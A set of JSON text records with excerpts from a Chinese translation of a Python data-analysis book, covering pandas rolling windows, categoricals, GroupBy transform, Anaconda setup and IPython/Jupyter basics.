    {"text": "apple_std250时间序列的 扩展窗口平均如下所示： In [244]: expanding_mean = appl_std250.expanding().mean() 对DataFrame调用rolling_mean（以及与之类似的函数）会将转换应用到所有的列上（见图11-6）： 361 In [246]: close_px.rolling(60).mean().plot(logy=True) rolling函数也可以接受一个指定固定大小时间补偿字符串，而不是一组时期。"},
    {"text": "例如，我们可以计算20天的滚动均值，如 下所示： In [247]: close_px.rolling('20D').mean() Out[247]: AAPL MSFT XOM 2003-01-02 7.400000 21.110000 29.220000 2003-01-03 7.425000 21.125000 29.230000 2003-01-06 7.433333 21.256667 29.473333 2003-01-07 7.432500 21.425000 29.342500 2003-01-08 7.402000 21.402000 29.240000 2003-01-09 7.391667 21.490000 29.273333 2003-01-10 7.387143 21.558571 29.238571 2003-01-13 7.378750 21.633750 29.197500 2003-01-14 7.370000 21.717778 29.194444 2003-01-15 7.355000 21.757000 29.152000 ... ... ... ... 2011-10-03 398.002143 25.890714 72.413571 2011-10-04 396.802143 25.807857 72.427143 2011-10-05 395.751429 25.729286 72.422857 2011-10-06 394.099286 25.673571 72.375714 2011-10-07 392.479333 25.712000 72.454667 2011-10-10 389.351429 25.602143 72.527857 2011-10-11 388.505000 25.674286 72.835000 362 2011-10-12 388.531429 25.810000 73.400714 2011-10-13 388.826429 25.961429 73.905000 2011-10-14 391.038000 26.048667 74.185333 [2292 rows x 3 columns] 指数加权函数 另一种使用固定大小窗口及相等权数观测值的办法是，定义一个衰减因子（decay factor）常量， 以便使近期的观测值拥有更大的权数。"},
    {"text": "衰减因子的定义方式有很多，比较流行的是使用时间间隔 （span），它可以使结果兼容于窗口大小等于时间间隔的简单移动窗口（simple moving window）函数。"},
    {"text": "下面这个例子对比了苹果公司股价的30日移动 平均和span=30的指数加权移动平均（如图11-7所示）： In [249]: aapl_px = close_px.AAPL['2006':'2007'] In [250]: ma60 = aapl_px.rolling(30, min_periods=20).mean() In [251]: ewma60 = aapl_px.ewm(span=30).mean() In [252]: ma60.plot(style='k--', label='Simple MA') Out[252]: <matplotlib.axes._subplots.AxesSubplot at 0x7f2f252161d0> In [253]: ewma60.plot(style='k-', label='EW MA') Out[253]: <matplotlib.axes._subplots.AxesSubplot at 0x7f2f252161d0> In [254]: plt.legend() 363 二元移动窗口函数 有些统计运算（如相关系数和协方差）需要在两个时间序列上执行。"},
    {"text": "要进行说明，我们先计算我们感 兴趣的时间序列的百分数变化： In [256]: spx_px = close_px_all['SPX'] In [257]: spx_rets = spx_px.pct_change() In [258]: returns = close_px.pct_change() 调用rolling之后，corr聚合函数开始计算与spx_rets滚动相关系数（结果见图11-8）： In [259]: corr = returns.AAPL.rolling(125, min_periods=100).corr(spx_rets) In [260]: corr.plot() 364 假设你想要一次性计算多只股票与标准普尔500指数的相关系数。"},
    {"text": "其实，只需传入一个TimeSeries和一个DataFrame， rolling_corr就会自动计算TimeSeries（本例中就是spx_rets）与DataFrame各列的相关系数。 结果 如图11-9所示： In [262]: corr = returns.rolling(125, min_periods=100).corr(spx_rets) In [263]: corr.plot() 365 用户定义的移动窗口函数 rolling_apply函数使你能够在移动窗口上应用自己设计的数组函数。"},
    {"text": "scipy.stats.percentileofscore函数就能达到这个 目的（结果见图11-10）： In [265]: from scipy.stats import percentileofscore In [266]: score_at_2percent = lambda x: percentileofscore(x, 0.02) In [267]: result = returns.AAPL.rolling(250).apply(score_at_2percent) In [268]: result.plot() 366 如果你没安装SciPy，可以使用conda或pip安装。"},
    {"text": "我们已经学过了unique和value_counts， 它们可以从数组提取出不同的值，并分别计算频率： In [10]: import numpy as np; import pandas as pd In [11]: values = pd.Series(['apple', 'orange', 'apple', ....: 'apple'] * 2) In [12]: values Out[12]: 0 apple 1 orange 2 apple 3 apple 4 apple 5 orange 6 apple 7 apple dtype: object In [13]: pd.unique(values) Out[13]: array(['apple', 'orange'], dtype=object) In [14]: pd.value_counts(values) Out[14]: apple 6 orange 2 dtype: int64 许多数据系统（数据仓库、统计计算或其它应用）都发展出了特定的表征重复值的方法，以进行高 效的存储和计算。 在数据仓库中，最好的方法是使用所谓的包含不同值的维表(Dimension Table)，将主要的参数存储为引用维表整数键： In [15]: values = pd.Series([0, 1, 0, 0] * 2) 368 In [16]: dim = pd.Series(['apple', 'orange']) In [17]: values Out[17]: 0 0 1 1 2 0 3 0 4 0 5 1 6 0 7 0 dtype: int64 In [18]: dim Out[18]: 0 apple 1 orange dtype: object 可以使用take方法存储原始的字符串Series： In [19]: dim.take(values) Out[19]: 0 apple 1 orange 0 apple 0 apple 0 apple 1 orange 0 apple 0 apple dtype: object 这种用整数表示的方法称为分类或字典编码表示法。"},
    {"text": "看一个之前的Series例 子： In [20]: fruits = ['apple', 'orange', 'apple', 'apple'] * 2 In [21]: N = len(fruits) In [22]: df = pd.DataFrame({'fruit': fruits, ....: 'basket_id': np.arange(N), ....: 'count': np.random.randint(3, 15, size=N), ....: 'weight': np.random.uniform(0, 4, size=N)}, ....: columns=['basket_id', 'fruit', 'count', 'weight']) In [23]: df Out[23]: basket_id fruit count weight 0 0 apple 5 3.858058 1 1 orange 8 2.612708 2 2 apple 4 2.995627 3 3 apple 7 2.614279 4 4 apple 12 2.990859 5 5 orange 8 3.845227 6 6 apple 5 0.033553 7 7 apple 4 0.425778 这里，df['fruit']是一个Python字符串对象的数组。 我们可以通过调用它，将它转变为分类： In [24]: fruit_cat = df['fruit'].astype('category') In [25]: fruit_cat Out[25]: 0 apple 1 orange 2 apple 3 apple 4 apple 5 orange 6 apple 7 apple Name: fruit, dtype: category Categories (2, object): [apple, orange] fruit_cat的值不是NumPy数组，而是一个pandas.Categorical实例： In [26]: c = fruit_cat.values 370 In [27]: type(c) Out[27]: pandas.core.categorical.Categorical 分类对象有categories和codes属性： In [28]: c.categories Out[28]: Index(['apple', 'orange'], dtype='object') In [29]: c.codes Out[29]: array([0, 1, 0, 0, 0, 1, 0, 0], dtype=int8) 你可将DataFrame的列通过分配转换结果，转换为分类： In [30]: df['fruit'] = df['fruit'].astype('category') In [31]: df.fruit Out[31]: 0 apple 1 orange 2 apple 3 apple 4 apple 5 orange 6 apple 7 apple Name: fruit, dtype: category Categories (2, object): [apple, orange] 你还可以从其它Python序列直接创建pandas.Categorical： In [32]: my_categories = pd.Categorical(['foo', 'bar', 'baz', 'foo', 'bar']) In [33]: my_categories Out[33]: [foo, bar, baz, foo, bar] Categories (3, object): [bar, baz, foo] 如果你已经从其它源获得了分类编码，你还可以使用from_codes构造器： In [34]: categories = ['foo', 'bar', 'baz'] In [35]: codes = [0, 1, 2, 0, 0, 1] In [36]: my_cats_2 = pd.Categorical.from_codes(codes, categories) 371 In [37]: my_cats_2 Out[37]: [foo, bar, baz, foo, foo, bar] Categories (3, object): [foo, bar, baz] 与显示指定不同，分类变换不认定指定的分类顺序。"},
    {"text": "当使用from_codes或其它的构造器时，你可以指定分类一个有意义的顺序： In [38]: ordered_cat = pd.Categorical.from_codes(codes, categories, ....: ordered=True) In [39]: ordered_cat Out[39]: [foo, bar, baz, foo, foo, bar] Categories (3, object): [foo < bar < baz] 输出[foo < bar < baz]指明‘foo’位于‘bar’的前面，以此类推。 无序的分类实例可以通过as_ordered 排序： In [40]: my_cats_2.as_ordered() Out[40]: [foo, bar, baz, foo, foo, bar] Categories (3, object): [foo < bar < baz] 最后要注意，分类数据不需要字符串，尽管我仅仅展示了字符串的例子。"},
    {"text": "它会返回pandas.Categorical，我们之前 使用过pandas.cut，但没解释分类是如何工作的： In [41]: np.random.seed(12345) In [42]: draws = np.random.randn(1000) In [43]: draws[:5] Out[43]: array([-0.2047, 0.4789, -0.5194, -0.5557, 1.9658]) 计算这个数据的分位面元，提取一些统计信息： 372 In [44]: bins = pd.qcut(draws, 4) In [45]: bins Out[45]: [(-0.684, -0.0101], (-0.0101, 0.63], (-0.684, -0.0101], (-0.684, -0.0101], (0.63, 3.928], ..., (-0.0101, 0.63], (-0.684, -0.0101], (-2.95, -0.684], (-0.0101, 0.63 ], (0.63, 3.928]] Length: 1000 Categories (4, interval[float64]): [(-2.95, -0.684] < (-0.684, -0.0101] < (-0.010 1, 0.63] < (0.63, 3.928]] 虽然有用，确切的样本分位数与分位的名称相比，不利于生成汇总。 我们可以使用labels参数 qcut，实现目的： In [46]: bins = pd.qcut(draws, 4, labels=['Q1', 'Q2', 'Q3', 'Q4']) In [47]: bins Out[47]: [Q2, Q3, Q2, Q2, Q4, ..., Q3, Q2, Q1, Q3, Q4] Length: 1000 Categories (4, object): [Q1 < Q2 < Q3 < Q4] In [48]: bins.codes[:10] Out[48]: array([1, 2, 1, 1, 3, 3, 2, 2, 3, 3], dtype=int8) 加上标签的面元分类不包含数据面元边界的信息，因此可以使用groupby提取一些汇总信息： In [49]: bins = pd.Series(bins, name='quartile') In [50]: results = (pd.Series(draws) ....: .groupby(bins) ....: .agg(['count', 'min', 'max']) ....: .reset_index()) In [51]: results Out[51]: quartile count min max 0 Q1 250 -2.949343 -0.685484 1 Q2 250 -0.683066 -0.010115 2 Q3 250 -0.010032 0.628894 3 Q4 250 0.634238 3.927528 分位数列保存了原始的面元分类信息，包括排序： 373 In [52]: results['quartile'] Out[52]: 0 Q1 1 Q2 2 Q3 3 Q4 Name: quartile, dtype: category Categories (4, object): [Q1 < Q2 < Q3 < Q4] 用分类提高性能 如果你是在一个特定数据集上做大量分析，将其转换为分类可以极大地提高效率。"},
    {"text": "来看一些包含一千万元素的Series，和一些不同的分类： In [53]: N = 10000000 In [54]: draws = pd.Series(np.random.randn(N)) In [55]: labels = pd.Series(['foo', 'bar', 'baz', 'qux'] * (N // 4)) 现在，将标签转换为分类： In [56]: categories = labels.astype('category') 这时，可以看到标签使用的内存远比分类多： In [57]: labels.memory_usage() Out[57]: 80000080 In [58]: categories.memory_usage() Out[58]: 10000272 转换为分类不是没有代价的，但这是一次性的代价： In [59]: %time _ = labels.astype('category') CPU times: user 490 ms, sys: 240 ms, total: 730 ms Wall time: 726 ms GroupBy使用分类操作明显更快，是因为底层的算法使用整数编码数组，而不是字符串数组。"},
    {"text": "看下面的Series： In [60]: s = pd.Series(['a', 'b', 'c', 'd'] * 2) In [61]: cat_s = s.astype('category') In [62]: cat_s Out[62]: 0 a 1 b 2 c 3 d 4 a 5 b 6 c 7 d dtype: category Categories (4, object): [a, b, c, d] 特别的cat属性提供了分类方法的入口： In [63]: cat_s.cat.codes Out[63]: 0 0 1 1 2 2 3 3 4 0 5 1 6 2 7 3 dtype: int8 In [64]: cat_s.cat.categories Out[64]: Index(['a', 'b', 'c', 'd'], dtype='object') 假设我们知道这个数据的实际分类集，超出了数据中的四个值。 我们可以使用set_categories方法 改变它们： In [65]: actual_categories = ['a', 'b', 'c', 'd', 'e'] In [66]: cat_s2 = cat_s.cat.set_categories(actual_categories) In [67]: cat_s2 Out[67]: 375 0 a 1 b 2 c 3 d 4 a 5 b 6 c 7 d dtype: category Categories (5, object): [a, b, c, d, e] 虽然数据看起来没变，新的分类将反映在它们的操作中。 例如，如果有的话，value_counts表示分 类： In [68]: cat_s.value_counts() Out[68]: d 2 c 2 b 2 a 2 dtype: int64 In [69]: cat_s2.value_counts() Out[69]: d 2 c 2 b 2 a 2 e 0 dtype: int64 在大数据集中，分类经常作为节省内存和高性能的便捷工具。"},
    {"text": "我们可以使用remove_unused_categories方法删除没看到的分 类： In [70]: cat_s3 = cat_s[cat_s.isin(['a', 'b'])] In [71]: cat_s3 Out[71]: 0 a 1 b 4 a 5 b dtype: category Categories (4, object): [a, b, c, d] 376 In [72]: cat_s3.cat.remove_unused_categories() Out[72]: 0 a 1 b 4 a 5 b dtype: category Categories (2, object): [a, b] 表12-1列出了可用的分类方法。"},
    {"text": "看前面的例子： In [73]: cat_s = pd.Series(['a', 'b', 'c', 'd'] * 2, dtype='category') 前面的第7章提到过，pandas.get_dummies函数可以转换这个分类数据为包含虚拟变量的 DataFrame： In [74]: pd.get_dummies(cat_s) Out[74]: a b c d 0 1 0 0 0 1 0 1 0 0 2 0 0 1 0 3 0 0 0 1 377 4 1 0 0 0 5 0 1 0 0 6 0 0 1 0 7 0 0 0 1 12.2 GroupBy 高级应用 尽管我们在第10章已经深度学习了Series和DataFrame的Groupby方法，还有一些方法也是很有用 的。"},
    {"text": "还有另一个transform方法，它与 apply很像，但是对使用的函数有一定限制： 它可以产生向分组形状广播标量值 它可以产生一个和输入组形状相同的对象 它不能修改输入 来看一个简单的例子： In [75]: df = pd.DataFrame({'key': ['a', 'b', 'c'] * 4, ....: 'value': np.arange(12.)}) In [76]: df Out[76]: key value 0 a 0.0 1 b 1.0 2 c 2.0 3 a 3.0 4 b 4.0 5 c 5.0 6 a 6.0 7 b 7.0 8 c 8.0 9 a 9.0 10 b 10.0 11 c 11.0 按键进行分组： In [77]: g = df.groupby('key').value In [78]: g.mean() 378 Out[78]: key a 4.5 b 5.5 c 6.5 Name: value, dtype: float64 假设我们想产生一个和df['value']形状相同的Series，但值替换为按键分组的平均值。 我们可以传递 函数lambda x: x.mean()进行转换： In [79]: g.transform(lambda x: x.mean()) Out[79]: 0 4.5 1 5.5 2 6.5 3 4.5 4 5.5 5 6.5 6 4.5 7 5.5 8 6.5 9 4.5 10 5.5 11 6.5 Name: value, dtype: float64 对于内置的聚合函数，我们可以传递一个字符串假名作为GroupBy的agg方法： In [80]: g.transform('mean') Out[80]: 0 4.5 1 5.5 2 6.5 3 4.5 4 5.5 5 6.5 6 4.5 7 5.5 8 6.5 9 4.5 10 5.5 11 6.5 Name: value, dtype: float64 与apply类似，transform的函数会返回Series，但是结果必须与输入大小相同。 举个例子，我们可 以用lambda函数将每个分组乘以2： 379 In [81]: g.transform(lambda x: x * 2) Out[81]: 0 0.0 1 2.0 2 4.0 3 6.0 4 8.0 5 10.0 6 12.0 7 14.0 8 16.0 9 18.0 10 20.0 11 22.0 Name: value, dtype: float64 再举一个复杂的例子，我们可以计算每个分组的降序排名： In [82]: g.transform(lambda x: x.rank(ascending=False)) Out[82]: 0 4.0 1 4.0 2 4.0 3 3.0 4 3.0 5 3.0 6 2.0 7 2.0 8 2.0 9 1.0 10 1.0 11 1.0 Name: value, dtype: float64 看一个由简单聚合构造的的分组转换函数： def normalize(x): return (x - x.mean()) / x.std() 我们用transform或apply可以获得等价的结果： In [84]: g.transform(normalize) Out[84]: 0 -1.161895 1 -1.161895 2 -1.161895 380 3 -0.387298 4 -0.387298 5 -0.387298 6 0.387298 7 0.387298 8 0.387298 9 1.161895 10 1.161895 11 1.161895 Name: value, dtype: float64 In [85]: g.apply(normalize) Out[85]: 0 -1.161895 1 -1.161895 2 -1.161895 3 -0.387298 4 -0.387298 5 -0.387298 6 0.387298 7 0.387298 8 0.387298 9 1.161895 10 1.161895 11 1.161895 Name: value, dtype: float64 内置的聚合函数，比如mean或sum，通常比apply函数快，也比transform快。 这允许我们进行一个 所谓的解封（unwrapped）分组操作： In [86]: g.transform('mean') Out[86]: 0 4.5 1 5.5 2 6.5 3 4.5 4 5.5 5 6.5 6 4.5 7 5.5 8 6.5 9 4.5 10 5.5 11 6.5 Name: value, dtype: float64 In [87]: normalized = (df['value'] - g.transform('mean')) / g.transform('std') 381 In [88]: normalized Out[88]: 0 -1.161895 1 -1.161895 2 -1.161895 3 -0.387298 4 -0.387298 5 -0.387298 6 0.387298 7 0.387298 8 0.387298 9 1.161895 10 1.161895 11 1.161895 Name: value, dtype: float64 解封分组操作可能包括多个分组聚合，但是矢量化操作还是会带来收益。"},
    {"text": "下面是一个示例 表： In [89]: N = 15 In [90]: times = pd.date_range('2017-05-20 00:00', freq='1min', periods=N) In [91]: df = pd.DataFrame({'time': times, ....: 'value': np.arange(N)}) In [92]: df Out[92]: time value 0 2017-05-20 00:00:00 0 1 2017-05-20 00:01:00 1 2 2017-05-20 00:02:00 2 3 2017-05-20 00:03:00 3 4 2017-05-20 00:04:00 4 5 2017-05-20 00:05:00 5 6 2017-05-20 00:06:00 6 7 2017-05-20 00:07:00 7 8 2017-05-20 00:08:00 8 9 2017-05-20 00:09:00 9 10 2017-05-20 00:10:00 10 11 2017-05-20 00:11:00 11 12 2017-05-20 00:12:00 12 13 2017-05-20 00:13:00 13 382 14 2017-05-20 00:14:00 14 这里，我们可以用time作为索引，然后重采样： In [93]: df.set_index('time').resample('5min').count() Out[93]: value time 2017-05-20 00:00:00 5 2017-05-20 00:05:00 5 2017-05-20 00:10:00 5 假设DataFrame包含多个时间序列，用一个额外的分组键的列进行标记： In [94]: df2 = pd.DataFrame({'time': times.repeat(3), ....: 'key': np.tile(['a', 'b', 'c'], N), ....: 'value': np.arange(N * 3.)}) In [95]: df2[:7] Out[95]: key time value 0 a 2017-05-20 00:00:00 0.0 1 b 2017-05-20 00:00:00 1.0 2 c 2017-05-20 00:00:00 2.0 3 a 2017-05-20 00:01:00 3.0 4 b 2017-05-20 00:01:00 4.0 5 c 2017-05-20 00:01:00 5.0 6 a 2017-05-20 00:02:00 6.0 要对每个key值进行相同的重采样，我们引入pandas.TimeGrouper对象："},
    {"text": "Table of Contents 2nd Edition 利用Python进行数据分析 （第二版） DATA WRANGLING WITH PANDAS, NUMPY, AND IPYTHON powered by Wes McKinney Table of Contents 简介 1.1 第01章 准备工作 1.2 第02章 Python语法基础，IPython和Jupyter Notebooks 1.3 第03章 Python的数据结构、函数和文件 1.4 第04章 NumPy基础：数组和矢量计算 1.5 第05章 pandas入门 1.6 第06章 数据加载、存储与文件格式 1.7 第07章 数据清洗和准备 1.8 第08章 数据规整：聚合、合并和重塑 1.9 第09章 绘图和可视化 1.10 第10章 数据聚合与分组运算 1.11 第11章 时间序列 1.12 第12章 pandas高级应用 1.13 第13章 Python建模库介绍 1.14 第14章 数据分析案例 1.15 附录A NumPy高级应用 1.16 附录B 更多关于IPython的内容（完） 1.17 1 第 1 章 准备工作 1.1 本书的内容 本书讲的是利用Python进行数据控制、处理、整理、分析等方面的具体细节和基本要点。"},
    {"text": "我的目 标是介绍Python编程和用于数据处理的库和工具环境，掌握这些，可以让你成为一个数据分析专 家。 虽然本书的标题是“数据分析”，重点却是Python编程、库，以及用于数据分析的工具。 这就是 数据分析要用到的Python编程。"},
    {"text": "主要指的是结构化数据（structured data），这个故意 含糊其辞的术语代指了所有通用格式的数据，例如： 表格型数据，其中各列可能是不同的类型（字符串、数值、日期等）。"},
    {"text": "大部分数据集都能被转化为更加适合分析和建模的结构化形式，虽然有 时这并不是很明显。 如果不行的话，也可以将数据集的特征提取为某种结构化形式。"},
    {"text": "自从1991年诞生以来，Python现在 已经成为最受欢迎的动态编程语言之一，其他还有Perl、Ruby等。 由于拥有大量的Web框架（比 如Rails（Ruby）和Django（Python）），自从2005年，使用Python和Ruby进行网站建设工作非 常流行。"},
    {"text": "在众多解释型语言中，由于各种历史和文化的原因，Python发展出了一个巨大而活跃 的科学计算（scientific computing）社区。 在过去的10年，Python从一个边缘或“自担风险”的科学 计算语言，成为了数据科学、机器学习、学界和工业界软件开发最重要的语言之一。 在数据分析、交互式计算以及数据可视化方面，Python将不可避免地与其他开源和商业的领域特 定编程语言/工具进行对比，如R、MATLAB、SAS、Stata等。 近年来，由于Python的库（例如 pandas和scikit-learn）不断改良，使其成为数据分析任务的一个优选方案。"},
    {"text": "解决 “ 两种语言 ” 问题 很多组织通常都会用一种类似于领域特定的计算语言（如SAS和R）对新想法做研究、原型构建和 测试，然后再将这些想法移植到某个更大的生产系统中去（可能是用Java、C#或C++编写的）。"},
    {"text": "但是，在那些延迟要求非常小或高资源利用率的应用中（例如高频交易系统），耗费 时间使用诸如C++这样更低级、更低生产率的语言进行编程也是值得的。"},
    {"text": "虽然很多大数据处理应用程序为了能在较短的时间内完成数 据集的处理工作都需要运行在计算机集群上，但是仍然有一些情况需要用单进程多线程系统来解 决。"},
    {"text": "除了为Python提供快速的数组处理能力，NumPy在数据分析方面还有另外一个主要作用，即作为 在算法和库之间传递数据的容器。 对于数值型数据，NumPy数组在存储和处理数据时要比内置的 Python数据结构高效得多。"},
    {"text": "作为背景，我是在2008年初开始开发pandas的，那时我任职于AQR Capital Management，一家 量化投资管理公司，我有许多工作需求都不能用任何单一的工具解决： 有标签轴的数据结构，支持自动或清晰的数据对齐。"},
    {"text": "IPython web notebook变成了Jupyter notebook，现在支持40种编程语言。 IPython现在可以 作为Jupyter使用Python的内核（一种编程语言模式）。 IPython变成了Jupyter庞大开源项目（一个交互和探索式计算的高效环境）中的一个组件。"},
    {"text": "7 Windows 要在Windows上运行，先下载 Anaconda安装包。 推荐跟随Anaconda下载页面的Windows安装指 导，安装指导在写作本书和读者看到此文的的这段时间内可能发生变化。"},
    {"text": "可以看到类似下面的Anaconda版本的输出： C:\\Users\\wesm>python Python 3.5.2 |Anaconda 4.1.1 (64-bit)| (default, Jul 5 2016, 11:41:13) [MSC v.1900 64 bit (AMD64)] on win32 >>> 要退出shell，按Ctrl-D（Linux或macOS上），Ctrl-Z（Windows上），或输入命令 exit() ，再按 Enter。"},
    {"text": "随后你会得到一个文件，名字类似于 Anaconda3-4.1.0-Linux-x86_64.sh 。 用bash进行安装： $ bash Anaconda3-4.1.0-Linux-x86_64.sh 笔记：某些Linux版本在包管理器中有满足需求的Python包，只需用类似apt的工具安装就 行。 这里讲的用Anaconda安装，适用于不同的Linux安装包，也很容易将包升级到最新版 本。"},
    {"text": "8 Anaconda安装包可能会询问你是否将 bin/ 目录添加到 $PATH 变量。 如果在安装之后有任何问 题，你可以修改文件 .bashrc （或 .zshrc ，如果使用的是zsh shell）为类似以下的内容： export PATH=/home/$USER/anaconda/bin:$PATH 做完之后，你可以开启一个新窗口，或再次用 ~/.bashrc 执行 .bashrc 。"},
    {"text": "通常，可以用以下命令 安装： conda install package_name 如果这个命令不行，也可以用pip包管理工具： pip install package_name 你可以用 conda update 命令升级包： conda update package_name pip可以用 --upgrade 升级： pip install --upgrade package_name 本书中，你有许多机会尝试这些命令。 注意：当你使用conda和pip二者安装包时，千万不要用pip升级conda的包，这样会导致环境 发生问题。"},
    {"text": "国际和地区的PyCon会议如果之前从未使用过Python，那你可能需要先看看本书的第2章和第3章，我简要介绍了Python的 特点，IPython和Jupyter notebooks。"},
    {"text": "代码示例 本书大部分代码示例的输入形式和输出结果都会按照其在IPython shell或Jupyter notebooks中执行 时的样子进行排版： In [5]: CODE EXAMPLE Out[5]: OUTPUT 但你看到类似的示例代码，就是让你在 in 的部分输入代码，按Enter键执行（Jupyter中是按Shift-Enter）。"},
    {"text": "示例数据 各章的示例数据都存放在GitHub上： 11 为了让所有示例都能重现，我已经尽我所能使其包含所有必需的东西，但仍然可能会有一些错误或 遗漏。"},
    {"text": "报告本书错误的最好方 法是O’Reilly的errata页面，第 2 章 Python 语法基础， IPython 和 Jupyter Notebooks 当我在2011年和2012年写作本书的第一版时，可用的学习Python数据分析的资源很少。"},
    {"text": "假设创建了一 个 hello_world.py 文件，它的内容是： print('Hello world') 你可以用下面的命令运行它（ hello_world.py 文件必须位于终端的工作目录）： $ python hello_world.py Hello world 一些Python程序员总是这样执行Python代码的，从事数据分析和科学计算的人却会使用IPython， 一个强化的Python解释器，或Jupyter notebooks，一个网页代码笔记本，它原先是IPython的一个 子项目。"},
    {"text": "当你使 用 %run 命令，IPython会同样执行指定文件中的代码，结束之后，还可以与结果交互： $ ipython Python 3.6.0 | packaged by conda-forge | (default, Jan 13 2017, 23:17:12) Type \"copyright\", \"credits\" or \"license\" for more information. IPython 5.1.0 -- An enhanced Interactive Python. ? -> Introduction and overview of IPython's features. %quickref -> Quick reference. help -> Python's own help system. object? -> Details about 'object', use 'object??' for extra details. In [1]: %run hello_world.py Hello world In [2]: IPython默认采用序号的格式 In [2]: ，与标准的 >>> 提示符不同。"},
    {"text": "运行 IPython Shell 你可以用 ipython 在命令行打开IPython Shell，就像打开普通的Python解释器： $ ipython 14 Python 3.6.0 | packaged by conda-forge | (default, Jan 13 2017, 23:17:12) Type \"copyright\", \"credits\" or \"license\" for more information. IPython 5.1.0 -- An enhanced Interactive Python. ? -> Introduction and overview of IPython's features. %quickref -> Quick reference. help -> Python's own help system. object? -> Details about 'object', use 'object??' for extra details. In [1]: a = 5 In [2]: a Out[2]: 5 你可以通过输入代码并按Return（或Enter），运行任意Python语句。"},
    {"text": "当你只输入一个变量，它会 显示代表的对象： In [5]: import numpy as np In [6]: data = {i : np.random.randn() for i in range(7)} In [7]: data Out[7]: {0: -0.20470765948471295, 1: 0.47894333805754824, 2: -0.5194387150567381, 3: -0.55573030434749, 4: 1.9657805725027142, 5: 1.3934058329729904, 6: 0.09290787674371767} 前两行是Python代码语句；"},
    {"text": "如 果在标准Python解释器中打印上述 data 变量，则可读性要降低： >>> from numpy.random import randn >>> data = {i : randn() for i in range(7)} >>> print(data) {0: -1.5948255432744511, 1: 0.10569006472787983, 2: 1.972367135977295, 3: 0.15455217573074576, 4: -0.24058577449429575, 5: -1.2904897053651216, 6: 0.3308507317325902} IPython还支持执行任意代码块（通过一个华丽的复制-粘贴方法）和整段Python脚本的功能。"},
    {"text": "15 运行 Jupyter Notebook notebook是Jupyter项目的重要组件之一，它是一个代码、文本（有标记或无标记）、数据可视化 或其它输出的交互式文档。 Jupyter Notebook需要与内核互动，内核是Jupyter与其它编程语言的 交互编程协议。"},
    {"text": "要启动Jupyter，在命令行中输入 jupyter notebook : $ jupyter notebook [I 15:20:52.739 NotebookApp] Serving notebooks from local directory: /home/wesm/code/pydata-book [I 15:20:52.739 NotebookApp] 0 active kernels [I 15:20:52.739 NotebookApp] The Jupyter Notebook is running at: http://localhost:8888/ [I 15:20:52.740 NotebookApp] Use Control-C to stop this server and shut down all kernels (twice to skip confirmation). Created new window in existing browser session. 在多数平台上，Jupyter会自动打开默认的浏览器（除非指定了 --no-browser ）。 或者，可以在启 动notebook之后，手动打开网页 http://localhost:8888/ 。"},
    {"text": "17 Tab 补全 从外观上，IPython shell和标准的Python解释器只是看起来不同。 IPython shell的进步之一是具备 其它IDE和交互计算分析环境都有的tab补全功能。"},
    {"text": "在shell中输入表达式，按下Tab，会搜索已输入 变量（对象、函数等等）的命名空间： In [1]: an_apple = 27 In [2]: an_example = 42 In [3]: an<Tab> an_apple and an_example any 在这个例子中，IPython呈现出了之前两个定义的变量和Python的关键字和内建的函数 any 。"},
    {"text": "当 然，你也可以补全任何对象的方法和属性： In [3]: b = [1, 2, 3] In [4]: b.<Tab> b.append b.count b.insert b.reverse b.clear b.extend b.pop b.sort b.copy b.index b.remove 同样也适用于模块： In [1]: import datetime In [2]: datetime.<Tab> datetime.date datetime.MAXYEAR datetime.timedelta datetime.datetime datetime.MINYEAR datetime.timezone datetime.datetime_CAPI datetime.time datetime.tzinfo 在Jupyter notebook和新版的IPython（5.0及以上），自动补全功能是下拉框的形式。"},
    {"text": "笔记：注意，默认情况下，IPython会隐藏下划线开头的方法和属性，比如魔术方法和内部 的“私有”方法和属性，以避免混乱的显示（和让新手迷惑！"},
    {"text": "当输入看似文件路径时（即使是Python 字符串），按下Tab也可以补全电脑上对应的文件信息： In [7]: datasets/movielens/<Tab> datasets/movielens/movies.dat datasets/movielens/README datasets/movielens/ratings.dat datasets/movielens/users.dat 18 In [7]: path = 'datasets/movielens/<Tab> datasets/movielens/movies.dat datasets/movielens/README datasets/movielens/ratings.dat datasets/movielens/users.dat 结合 %run ，tab补全可以节省许多键盘操作。"},
    {"text": "，可以显示对象的信息： In [8]: b = [1, 2, 3] In [9]: b? Type: list String Form:[1, 2, 3] Length: 3 Docstring: list() -> new empty list list(iterable) -> new list initialized from iterable's items In [10]: print? Docstring: print(value, ..., sep=' ', end='\\n', file=sys.stdout, flush=False) Prints the values to a stream, or to sys.stdout by default. Optional keyword arguments: file: a file-like object (stream); defaults to the current sys.stdout. sep: string inserted between values, default a space. end: string appended after the last value, default a newline. flush: whether to forcibly flush the stream. Type: builtin_function_or_method 19 这可以作为对象的自省。"},
    {"text": "假设我们写了一个如下的函数： def add_numbers(a, b): \"\"\" Add two numbers together Returns ------- the_sum : type of arguments \"\"\" return a + b 然后使用?符号，就可以显示如下的文档字符串： In [11]: add_numbers? Signature: add_numbers(a, b) Docstring: Add two numbers together Returns ------- the_sum : type of arguments File: <ipython-input-9-6a548a216e27> Type: function 使用??会显示函数的源码： In [12]: add_numbers?? Signature: add_numbers(a, b) Source: def add_numbers(a, b): \"\"\" Add two numbers together Returns ------- the_sum : type of arguments \"\"\" return a + b File: <ipython-input-9-6a548a216e27> Type: function ?还有一个用途，就是像Unix或Windows命令行一样搜索IPython的命名空间。"},
    {"text": "例如，我们可以获得所有包含load的顶级NumPy命名空间： 20 In [13]: np.*load*? np.__loader__ np.load np.loads np.loadtxt np.pkgload %run 命令 你可以用 %run 命令运行所有的Python程序。"},
    {"text": "假设有一个文件 ipython_script_test.py ： def f(x, y, z): return (x + y) / z a = 5 b = 6 c = 7.5 result = f(a, b, c) 可以如下运行： In [14]: %run ipython_script_test.py 这段脚本运行在空的命名空间（没有import和其它定义的变量），因此结果和普通的运行方 式 python script.py 相同。 文件中所有定义的变量（import、函数和全局变量，除非抛出异 常），都可以在IPython shell中随后访问： In [15]: c Out [15]: 7.5 In [16]: result Out[16]: 1.4666666666666666 如果一个Python脚本需要命令行参数（在 sys.argv 中查找），可以在文件路径之后传递，就像在 命令行上运行一样。 笔记：如果想让一个脚本访问IPython已经定义过的变量，可以使用 %run -i 。 在Jupyter notebook中，你也可以使用 %load ，它将脚本导入到一个代码格中： >>> %load ipython_script_test.py def f(x, y, z): return (x + y) / z 21 a = 5 b = 6 c = 7.5 result = f(a, b, c) 中断运行的代码 代码运行时按Ctrl-C，无论是%run或长时间运行命令，都会导致 KeyboardInterrupt 。"},
